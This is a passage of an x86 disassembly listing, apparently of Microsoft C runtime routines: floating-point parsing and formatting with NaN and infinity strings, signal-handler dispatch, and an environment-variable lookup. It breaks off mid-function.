[ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_433E80 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_433E80 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_433E80 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_433E7C, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_433E80 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_433E7C, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_433E7C, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_433E7C, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_433E7C, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_4CDC94 mov eax, offset dword_4CDC94 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_4CDC90 mov eax, offset dword_4CDC90 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_4CDC98 mov eax, offset dword_4CDC98 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_4CDC8C mov eax, offset dword_4CDC8C loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_4CDA68 and dword_4CDA68, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_4362EC mov dword_4362EC, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_4362E0 mov ecx, dword_4362E4 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:436270h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_4362EC push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_4CDA68, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_4362EC, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_43626C, edx push esi mov eax, offset dword_436268 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_4CF030, 0 push ebx push esi mov esi, dword_4CD9DC push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_4CD9E4, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_4CD9DC test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; 